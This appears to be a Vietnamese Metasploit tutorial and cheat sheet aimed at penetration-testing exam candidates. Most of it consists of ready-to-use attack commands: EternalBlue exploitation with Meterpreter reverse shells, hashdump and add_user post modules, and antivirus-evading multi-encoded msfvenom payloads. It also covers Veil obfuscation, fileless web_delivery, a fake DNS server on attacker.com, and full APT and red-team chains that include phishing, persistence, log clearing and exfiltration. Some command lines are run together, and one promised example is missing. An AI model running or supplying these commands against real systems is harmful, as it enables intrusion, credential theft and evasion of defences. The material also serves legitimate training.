Giới thiệu Tài liệu này mô tả một số tùy chọn phổ biến cho các thành phần khác nhau của Metasploit Framework. Các công cụ được mô tả trong tài liệu này: Các module Auxiliary hữu ích : Auxiliary trong Metasploit Framework Auxiliary là một trong những thành phần quan trọng của Metasploit Framework. Đây là các module không…
Tài liệu này mô tả một số tùy chọn phổ biến cho các thành phần khác nhau của Metasploit Framework.
Các công cụ được mô tả trong tài liệu này:
Metasploit: Nền tảng phát triển để tạo và sử dụng các công cụ và khai thác bảo mật.
Metasploit Meterpreter: Payload trong Metasploit Framework cung cấp quyền kiểm soát hệ thống mục tiêu đã bị khai thác.
Metasploit msfvenom: Công cụ cho phép tạo phiên bản độc lập của bất kỳ payload nào trong framework.
Các module Auxiliary hữu ích : Auxiliary trong Metasploit Framework
Auxiliary là một trong những thành phần quan trọng của Metasploit Framework. Đây là các module không phải là exploit, nhưng cung cấp các chức năng hỗ trợ quan trọng cho quá trình pentest và đánh giá bảo mật.
Đặc điểm của Auxiliary modules:
Không thực hiện khai thác: Khác với exploit modules, auxiliary modules không nhằm mục đích giành quyền truy cập vào hệ thống mục tiêu.
Đa dạng chức năng: Bao gồm quét, thu thập thông tin, brute force, DoS, và nhiều chức năng khác.
Hỗ trợ quá trình pentest: Thường được sử dụng trong giai đoạn recon và post-exploitation.
Quét cổng:
123
msf > use auxiliary/scanner/portscan/tcpmsf > set RHOSTS 10.10.10.0/24 msf > run
Liệt kê DNS:
123
msf > use auxiliary/gather/dns_enummsf > set DOMAIN target.tgtmsf > run
Máy chủ FTP:
123
msf > use auxiliary/server/ftpmsf > set FTPROOT /tmp/ftprootmsf > run
Máy chủ Proxy:
12
msf > use auxiliary/server/socks4msf > run
msfvenom
msfvenom là một công cụ đa năng trong Metasploit Framework, được sử dụng để tạo và mã hóa các payload. Đây là sự kết hợp của hai công cụ trước đây là msfpayload và msfencode. Dưới đây là một giới thiệu chi tiết về msfvenom:
Mục đích chính của msfvenom:
Tạo payload: Tạo ra các shellcode, executable, dll và các dạng payload khác.
Mã hóa payload: Giúp payload tránh bị phát hiện bởi các phần mềm antivirus.
Tùy chỉnh output: Cho phép tạo payload ở nhiều định dạng khác nhau.
Cú pháp cơ bản:
msfvenom -p <payload> <options>
Các tùy chọn quan trọng:
LPORT: Cổng lắng nghe trên máy attacker
-p: Chỉ định loại payload
-e: Chỉ định encoder để mã hóa payload
-f: Chỉ định định dạng output
-o: Chỉ định tên file output
LHOST: Địa chỉ IP của máy attacker (cho reverse payloads)
msfconsole là giao diện dòng lệnh chính và phổ biến nhất của Metasploit Framework. Đây là một công cụ đa năng và mạnh mẽ được sử dụng để thực hiện các hoạt động kiểm tra thâm nhập. Dưới đây là một giới thiệu chi tiết về msfconsole:
Đặc điểm chính của msfconsole:
Giao diện tương tác: Cho phép người dùng tương tác trực tiếp với Metasploit Framework.
Tích hợp đầy đủ: Truy cập tất cả các tính năng của Metasploit, bao gồm exploits, payloads, auxiliary modules, và post-exploitation modules.
Tab completion: Hỗ trợ hoàn thành lệnh tự động, giúp sử dụng dễ dàng hơn.
Quản lý phiên: Cho phép quản lý nhiều phiên khai thác cùng lúc.
Cách sử dụng cơ bản:
Khởi động msfconsole:
1
$ msfconsole
Tìm kiếm module:
1
msf6 > search [keyword]
Sử dụng một module:
1
msf6 > use [module_path]
Xem các tùy chọn của module:
1
msf6 > show options
Đặt các tùy chọn cần thiết:
1
msf6 > set [option] [value]
Chạy module:
1
msf6 > exploit
hoặc
1
msf6 > run
Các lệnh hữu ích trong msfconsole:
info: Hiển thị thông tin chi tiết về module hiện tại
back: Quay lại prompt chính
sessions: Liệt kê hoặc tương tác với các phiên đang hoạt động
jobs: Quản lý các công việc đang chạy nền
setg: Đặt một biến toàn cục
unsetg: Xóa một biến toàn cục
save: Lưu cấu hình hiện tại
load: Tải một plugin
version: Hiển thị phiên bản Metasploit
Ví dụ sử dụng msfconsole:
Tìm và sử dụng một exploit:
123456
msf6 > search ms17-010msf6 > use exploit/windows/smb/ms17_010_eternalbluemsf6 > set RHOSTS 192.168.1.100msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcpmsf6 > set LHOST 192.168.1.10msf6 > exploit
Sử dụng một auxiliary module:
123
msf6 > use auxiliary/scanner/smb/smb_versionmsf6 > set RHOSTS 192.168.1.0/24msf6 > run
Quản lý phiên:
12
msf6 > sessions -lmsf6 > sessions -i 1
Tính năng nâng cao:
Resource scripts: Cho phép tự động hóa các tác vụ thông qua script.
Database integration: Tích hợp với cơ sở dữ liệu để lưu trữ kết quả và quản lý workspace.
Pivoting: Sử dụng một hệ thống đã xâm nhập để tấn công các hệ thống khác trong mạng nội bộ.
msfconsole là một công cụ mạnh mẽ và linh hoạt, cho phép người dùng thực hiện các hoạt động kiểm tra thâm nhập phức tạp, cung cấp một giao diện tập trung để truy cập vào toàn bộ khả năng của Metasploit Framework.
Một số lệnh cơ bản:
Tìm kiếm module: search [regex]
Chọn exploit: use exploit/[ExploitPath]
Chọn payload: set PAYLOAD [PayloadPath]
Xem tùy chọn: show options
Đặt tùy chọn: set [Option] [Value]
Bắt đầu khai thác: exploit
Metasploit Meterpreter
Metasploit Meterpreter là một payload tiên tiến và mạnh mẽ trong Metasploit Framework. Đây là một công cụ post-exploitation được thiết kế để cung cấp khả năng kiểm soát sâu rộng đối với hệ thống đã bị xâm nhập. Dưới đây là một giới thiệu chi tiết về Meterpreter:
Đặc điểm chính của Meterpreter:
In-memory payload: Chạy trực tiếp trong bộ nhớ, không cần ghi vào ổ đĩa, giúp tránh phát hiện.
Mở rộng được: Có thể tải thêm các tính năng mới trong thời gian chạy.
Encrypted communication: Sử dụng kênh truyền thông được mã hóa để giao tiếp với máy attacker.
Stealthy: Được thiết kế để hoạt động một cách kín đáo, giảm thiểu dấu vết.
Đa nền tảng: Có phiên bản cho Windows, Linux, Android, và các hệ điều hành khác.
Các tính năng chính:
File system commands: Duyệt, tải lên, tải xuống, và thao tác với hệ thống tệp.
System commands: Thực thi lệnh hệ thống, quản lý tiến trình.
Network commands: Sniffing, pivoting, port forwarding.
User interface commands: Chụp màn hình, ghi âm, keylogging.
Privilege escalation: Nâng cao đặc quyền trên hệ thống mục tiêu.
Password dumping: Thu thập hash mật khẩu.
Các lệnh Meterpreter phổ biến:
help: Hiển thị danh sách các lệnh có sẵn.
sysinfo: Hiển thị thông tin về hệ thống mục tiêu.
getuid: Hiển thị user ID hiện tại.
getsystem: Cố gắng nâng cao đặc quyền.
hashdump: Dump password hashes.
download: Tải file từ máy mục tiêu.
upload: Tải file lên máy mục tiêu.
shell: Mở một shell trên máy mục tiêu.
screenshot: Chụp màn hình máy mục tiêu.
keyscan_start: Bắt đầu keylogger.
migrate: Di chuyển Meterpreter sang một process khác.
Pivoting: Sử dụng máy đã xâm nhập làm bàn đạp để tấn công các máy khác trong mạng.
Port forwarding: Chuyển tiếp cổng từ máy mục tiêu về máy attacker.
Incognito: Đánh cắp và sử dụng token xác thực.
Mimikatz: Tích hợp công cụ Mimikatz để thu thập thông tin xác thực.
Lưu ý quan trọng:
Meterpreter là một công cụ mạnh mẽ và có thể gây hại nếu sử dụng sai mục đích.
Chỉ sử dụng trong môi trường được phép và cho mục đích học tập, nghiên cứu hoặc kiểm tra bảo mật hợp pháp.
Nhiều phần mềm antivirus có thể phát hiện Meterpreter, vì vậy cần cẩn thận khi sử dụng trong môi trường thực tế.
Metasploit Meterpreter là một công cụ quan trọng trong bộ công cụ của penetration tester, cung cấp khả năng kiểm soát và thu thập thông tin mạnh mẽ trên hệ thống đã bị xâm nhập. Tuy nhiên, việc sử dụng nó đòi hỏi kiến thức chuyên sâu và trách nhiệm đạo đức cao.
Một số lệnh hữu ích:
Hiển thị PID hiện tại: getpid
Hiển thị UID hiện tại: getuid
Liệt kê tiến trình: ps
Kết thúc tiến trình: kill [PID]
Chạy chương trình: execute [program]
Di chuyển sang tiến trình khác: migrate [PID]
Lệnh mạng:
Xem thông tin mạng: ipconfig
Chuyển tiếp cổng: portfwd
Quản lý bảng định tuyến: route
Lệnh tệp:
Thay đổi thư mục: cd
Tải lên/tải xuống tệp: upload/download
Xem nội dung tệp: cat
Quản lý phiên
Liệt kê phiên nền: sessions -l
Tương tác với phiên nền: session -i [SessionID]
Đưa phiên hiện tại vào nền: background
Định tuyến qua phiên
1
msf > route add [Subnet] [Netmask] [SessionID]
Ví dụ:
1
msf > route add 192.168.1.0 255.255.255.0 3
Điều này sẽ định tuyến tất cả lưu lượng đến mạng 192.168.1.0/24 qua phiên có ID là 3.
Tôi sẽ tiếp tục biên tập và bổ sung thêm nội dung:
Post Modules
Các module post có thể được chạy trên máy mục tiêu khi có sẵn phiên Meterpreter.
Post Modules trong Metasploit Framework được sử dụng sau khi đã có quyền truy cập vào hệ thống mục tiêu (post-exploitation). Chúng cung cấp nhiều chức năng hữu ích để khai thác thêm, thu thập thông tin và duy trì quyền truy cập. Dưới đây là giải thích chi tiết về mục đích và cách sử dụng của Post Modules:
Mục đích chính của Post Modules:
Thu thập thông tin: Lấy dữ liệu quan trọng từ hệ thống đã xâm nhập.
Nâng cao đặc quyền: Tìm cách để có được quyền cao hơn trên hệ thống.
Duy trì quyền truy cập: Thiết lập các cơ chế để duy trì quyền truy cập lâu dài.
Di chuyển theo chiều ngang: Tìm cách lan truyền trong mạng nội bộ.
Xóa dấu vết: Xóa bỏ các dấu hiệu của cuộc tấn công.
Các loại Post Modules phổ biến:
Modules thu thập thông tin:
Gather: Thu thập thông tin hệ thống, ứng dụng, mạng.
Credentials: Thu thập thông tin đăng nhập, mật khẩu.
Modules nâng cao đặc quyền:
Escalate: Tìm và khai thác các lỗ hổng để nâng quyền.
Modules duy trì quyền truy cập:
Manage: Thiết lập backdoor, tạo user mới.
Modules di chuyển theo chiều ngang:
Recon: Tìm kiếm các mục tiêu khác trong mạng.
Modules xóa dấu vết:
Logs: Xóa hoặc sửa đổi log hệ thống.
Cách sử dụng Post Modules:
Trong phiên Meterpreter:
1
meterpreter > run post/windows/gather/hashdump
Từ prompt msf:
123
msf6 > use post/windows/gather/hashdumpmsf6 post(windows/gather/hashdump) > set SESSION 1msf6 post(windows/gather/hashdump) > run
Ví dụ cụ thể:
Thu thập password hashes:
1
meterpreter > run post/windows/gather/hashdump
Tìm kiếm các tệp nhạy cảm:
1
meterpreter > run post/windows/gather/enum_files
Nâng cao đặc quyền:
1
meterpreter > run post/windows/escalate/getsystem
Tạo user mới:
1
meterpreter > run post/windows/manage/add_user
Kiểm tra các ứng dụng đã cài đặt:
1
meterpreter > run post/windows/gather/enum_applications
Lưu ý quan trọng:
Sử dụng Post Modules có thể để lại dấu vết trên hệ thống mục tiêu.
Một số module có thể gây ảnh hưởng đến hoạt động của hệ thống.
Luôn thận trọng và chỉ sử dụng trong môi trường được phép.
Hiểu rõ tác động của mỗi module trước khi sử dụng.
Post Modules là công cụ quan trọng trong quá trình kiểm tra thâm nhập, cho phép penetration tester mở rộng phạm vi kiểm tra và thu thập thông tin quan trọng sau khi đã có quyền truy cập ban đầu. Việc sử dụng hiệu quả các Post Modules có thể giúp đánh giá toàn diện hơn về tình trạng bảo mật của hệ thống mục tiêu.
Chạy Post Module từ Meterpreter:
1
meterpreter > run post/multi/gather/env
Chạy Post Module trên phiên nền:
1234
msf > use post/windows/gather/hashdumpmsf > show optionsmsf > set SESSION 1msf > run
Khai thác nhiều mục tiêu
Chạy exploit và đưa phiên vào nền ngay lập tức:
1
msf > exploit -z
Chạy exploit trong nền và đợi nhiều phiên:
1
msf > exploit -j
Liệt kê tất cả các job đang chạy:
1
msf > jobs -l
Kết thúc một job:
1
msf > jobs -k [JobID]
Các lệnh Meterpreter bổ sung
Lệnh hệ thống:
Hiển thị thời gian máy mục tiêu không hoạt động: idletime
Bật/tắt bàn phím hoặc chuột: uictl [enable/disable] [keyboard/mouse]
Chụp màn hình: screenshot
Module bổ sung:
Tải module: use [module]
Ví dụ tải module priv:
1
use priv
Dump hash: hashdump
Thay đổi timestamp của tệp NTFS: timestomp
Ví dụ thực tế
Kịch bản khai thác cơ bản:
Tìm kiếm exploit:
1
msf > search ms17-010
Sử dụng exploit:
1
msf > use exploit/windows/smb/ms17_010_eternalblue
Đặt các tùy chọn:
1234
msf > set RHOSTS 192.168.1.100msf > set PAYLOAD windows/x64/meterpreter/reverse_tcpmsf > set LHOST 192.168.1.10msf > set LPORT 4444
Ví dụ về pivoting (các bạn chuẩn bị thi CEH Practical và CPENT cần nắm vững):
Giả sử bạn đã có phiên Meterpreter trên máy 192.168.1.100 và muốn tấn công máy 10.0.0.5 trong mạng nội bộ.
Thêm route:
1
msf > route add 10.0.0.0 255.255.255.0 1
Sử dụng module quét cổng:
123
msf > use auxiliary/scanner/portscan/tcpmsf > set RHOSTS 10.0.0.5msf > run
Tiếp tục với khai thác mới trên máy 10.0.0.5 sử dụng phiên hiện tại làm pivot.
Những ví dụ này minh họa cách Metasploit có thể được sử dụng trong các tình huống thực tế để khai thác, thu thập thông tin và mở rộng quyền truy cập trong mạng mục tiêu.
Kỹ thuật nâng cao
Đóng gói Payload
Để tránh phát hiện bởi phần mềm antivirus, bạn có thể sử dụng các kỹ thuật đóng gói và mã hóa payload.
Ví dụ sử dụng msfvenom để tạo payload được mã hóa:
Kịch bản này minh họa cách Metasploit có thể được sử dụng trong một cuộc tấn công phức tạp, từ recon ban đầu đến duy trì quyền truy cập. Luôn nhớ rằng những hoạt động này chỉ nên được thực hiện trong môi trường được phép và có kiểm soát.
Kỹ thuật Obfuscation và Evasion
Sử dụng Veil Framework
Veil là một framework giúp tạo ra payload khó bị phát hiện bởi antivirus.
Ví dụ sử dụng Veil:
Chạy Veil:
1
./Veil.py
Chọn Evasion tool:
1
Veil>: use 1
Liệt kê các payload có sẵn:
1
Veil/Evasion>: list
Chọn một payload, ví dụ go/meterpreter/rev_tcp:
1
Veil/Evasion>: use 15
Cấu hình payload:
12
Veil/Evasion>: set LHOST 192.168.1.10Veil/Evasion>: set LPORT 4444
Tạo payload:
1
Veil/Evasion>: generate
Sử dụng MSFVenom với Encoder tùy chỉnh
Bạn có thể kết hợp nhiều encoder để tăng khả năng tránh phát hiện:
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -e x86/shikata_ga_nai -i 5 | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 3 -f exe -o multi_encoded_payload.exe
Kết nối đến máy trong mạng nội bộ thông qua máy đã bị xâm nhập:
1
rdesktop 127.0.0.1:3389
Kịch bản tấn công APT (Advanced Persistent Threat)
Giả sử bạn đang mô phỏng một cuộc tấn công APT vào một công ty lớn. Dưới đây là một kịch bản có thể:
Recon và Social Engineering:
Sử dụng OSINT để thu thập thông tin về mục tiêu
Tạo một email lừa đảo với payload Metasploit được obfuscate
Initial Access:
Sử dụng module exploit/windows/fileformat/adobe_pdf_embedded_exe để tạo PDF độc hại
Gửi PDF qua email lừa đảo
Execution và Establishing Foothold:
Khi nạn nhân mở PDF, payload sẽ thực thi và tạo reverse shell
Sử dụng module post/windows/manage/migrate để di chuyển sang process ổn định hơn
Privilege Escalation:
Sử dụng post/windows/gather/smart_hashdump để thu thập hash
Crack hash offline hoặc sử dụng Pass-the-Hash attack
Lateral Movement:
Sử dụng module exploit/windows/smb/psexec với thông tin đăng nhập đã lấy được
Thiết lập nhiều backdoor trên các máy khác nhau trong mạng
Data Exfiltration:
Sử dụng module post/windows/gather/forensics/nbd_extraction để trích xuất dữ liệu
Mã hóa và chia nhỏ dữ liệu trước khi gửi ra ngoài
Persistence:
Sử dụng module exploit/windows/local/persistence để tạo nhiều cơ chế persistence
Thiết lập các tác vụ định kỳ để liên lạc về C2 server
Covering Tracks:
Xóa logs sử dụng clearev
Sử dụng module post/windows/manage/timestomp để thay đổi timestamp của các file đã tạo/sửa đổi
Kịch bản này minh họa cách Metasploit có thể được sử dụng trong một chiến dịch APT phức tạp, từ giai đoạn recon ban đầu đến duy trì quyền truy cập lâu dài. Mỗi bước đều có thể được tùy chỉnh và mở rộng tùy thuộc vào mục tiêu cụ thể và môi trường mạng.
Kỹ thuật C2 (Command and Control) nâng cao
Sử dụng DNS Tunneling
DNS Tunneling là một kỹ thuật C2 tinh vi, cho phép bypass nhiều firewall:
Thiết lập DNS server:
123
msf > use auxiliary/server/fakednsmsf > set DOMAIN attacker.commsf > run
msf > use exploit/multi/handlermsf > set PAYLOAD windows/meterpreter/reverse_httpsmsf > set LHOST 0.0.0.0msf > set LPORT 443msf > set HandlerSSLCert /path/to/server.pemmsf > exploit
Thực thi payload trực tiếp trong bộ nhớ, không chạm vào ổ đĩa:
123456
msf > use exploit/multi/script/web_deliverymsf > set TARGET 2msf > set PAYLOAD windows/meterpreter/reverse_tcpmsf > set LHOST 192.168.1.10msf > set LPORT 4444msf > exploit
Sau đó, trên máy mục tiêu, chạy lệnh PowerShell được cung cấp.
Process Hollowing
Kỹ thuật này tạo một process hợp lệ nhưng thay thế nội dung của nó bằng mã độc:
Tạo shellcode:
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f raw -o shellcode.bin
Sử dụng công cụ như Hollow để thực hiện process hollowing.
Kịch bản Red Team Operation
Giả sử bạn đang thực hiện một chiến dịch Red Team toàn diện. Dưới đây là một kịch bản phức tạp:
Reconnaissance:
Sử dụng recon-ng để thu thập thông tin về mục tiêu
Áp dụng module Metasploit auxiliary/gather/search_email_collector
Weaponization:
Tạo một macro Office độc hại sử dụng msfvenom
Obfuscate payload với Veil
Delivery:
Thiết lập một trang web giả mạo với module auxiliary/server/browser_autopwn2
Gửi email lừa đảo với tài liệu độc hại đính kèm
Exploitation:
Sử dụng exploit/multi/handler để bắt kết nối reverse shell
Áp dụng kỹ thuật process injection để tránh phát hiện
Installation:
Sử dụng module post/windows/manage/persistence_exe để cài đặt backdoor
Thiết lập nhiều cơ chế persistence khác nhau
Command & Control:
Sử dụng DNS tunneling như đã mô tả ở trên
Thiết lập hệ thống C2 phân tán với nhiều server relay
Actions on Objectives:
Sử dụng module post/windows/gather/credentials/domain_hashdump để thu thập hash domain
Áp dụng kỹ thuật Pass-the-Hash để di chuyển theo chiều ngang
Sử dụng module auxiliary/admin/smb/psexec_command để thực thi lệnh từ xa
Exfiltration:
Sử dụng steganography để ẩn dữ liệu trong các file hình ảnh
Truyền dữ liệu qua kênh side-channel như DNS hoặc ICMP
Impact:
Sử dụng module post/windows/manage/change_password để thay đổi mật khẩu hàng loạt
Áp dụng ransomware mô phỏng (không gây hại thật) để demo impact
Trong suốt quá trình, sử dụng các kỹ thuật OPSEC (Operational Security) để giảm thiểu dấu vết:
Sử dụng proxy chains để ẩn nguồn gốc traffic
Áp dụng sleep timers và jitter trong các hoạt động C2
Sử dụng các kỹ thuật anti-forensics như secure deletion và log manipulation
Kịch bản này minh họa cách Metasploit có thể được tích hợp vào một chiến dịch Red Team phức tạp, kết hợp nhiều kỹ thuật và công cụ khác nhau. Mỗi bước đều có thể được tinh chỉnh và mở rộng tùy thuộc vào mục tiêu cụ thể và môi trường mạng của đối tượng.
Lưu ý quan trọng: Các hoạt động này chỉ nên được thực hiện trong môi trường được phép và có kiểm soát, với sự đồng ý rõ ràng của tổ chức mục tiêu, nhằm mục đích nâng cao an ninh mạng.